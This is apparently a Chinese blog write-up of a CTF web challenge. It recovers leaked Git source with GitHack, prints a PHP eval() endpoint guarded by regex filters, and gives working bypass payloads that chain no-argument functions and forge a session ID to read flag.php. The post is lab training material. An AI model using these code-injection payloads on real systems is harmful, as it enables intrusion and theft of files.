Z1d10tのBlog

A note for myself,have fun!

  1. 1. 方法一:
  2. 2. 方法二:

buuctf 38-[GXYCTF2019]禁止套娃

img

开局一张图,buu网站扫网站有时候出不来,看了别人的wp是git源码泄露了 参考大佬的文章:https://www.freebuf.com/articles/web/346607.html

可以拿config文件测试一下

构造payload:http://9ec6b0e9-a2e5-4d60-b33a-22ff1c436245.node4.buuoj.cn:81/.git.config

config:文件包含项目特有的配置选项,git config命令会改动它;

发现有文件下载下来 说明是github源码泄露

下好脚本 构造payload:python2 GitHack.py http://9ec6b0e9-a2e5-4d60-b33a-22ff1c436245.node4.buuoj.cn:81/.git 注意末尾加上 .git img

查看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

主要是过滤了一些伪协议和一些“et”“na”“info”“dec”“bin”“hex”“oct”“pi”“log”字符

最重要的是中间一层 有我不知道的正则表达式的知识点 参考:https://blog.csdn.net/Manuffer/article/details/120738755

1
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

这里(?R)代表当前表达式 ,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c(d()))) 注意这里加号不是把前后连接起来 +:加号在正则表达式有特殊含义,等同于匹配前面的子表达式一次或多次

;等于后面匹配完以后剩余的;条件成立 可以根据这个思路构造命令执行

方法一:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

(PHP 4, PHP 5, PHP 7, PHP 8)

img

返回一个数组 第一个元素为. 构造payload的时候可以用的 ../ 意思相同都是当前目录 ../是上级目录

current() — 返回数组中的当前值

说明:

current(array|object $array): mixed

每个数组中都有一个内部的指针指向它“当前的”单元,初始化时会指向该数组中的第一个值。

img

构造?exp=print_r(scandir(current(localeconv())));

所以这个组合scandir(current(localeconv()))很常用,可以记一下。

img

发现flag文件,接下来就是怎么读了,因为现在指针指在第一个元素上 把数组反转过来让flag文件在正数第二 再通过next()指向第二个元素读取flag

array_reverse() — 返回单元顺序相反的数组

next() — 将数组中的内部指针向前移动一位

show_source — 别名 highlight_file() 用哪个都行

构造payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

img

方法二:

通过修改phpsession即会话状态 然后payload读出来即可 参考还是上面的文章 https://blog.csdn.net/Manuffer/article/details/120738755

session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。

但session_id必须要开启session才可以使用,所以我们要先使用session_start。

构造payload:?exp=show_source(session_id(session_start()));

bp抓包修改session_id=flag.php

img

本文最后更新于 天前,文中所描述的信息可能已发生改变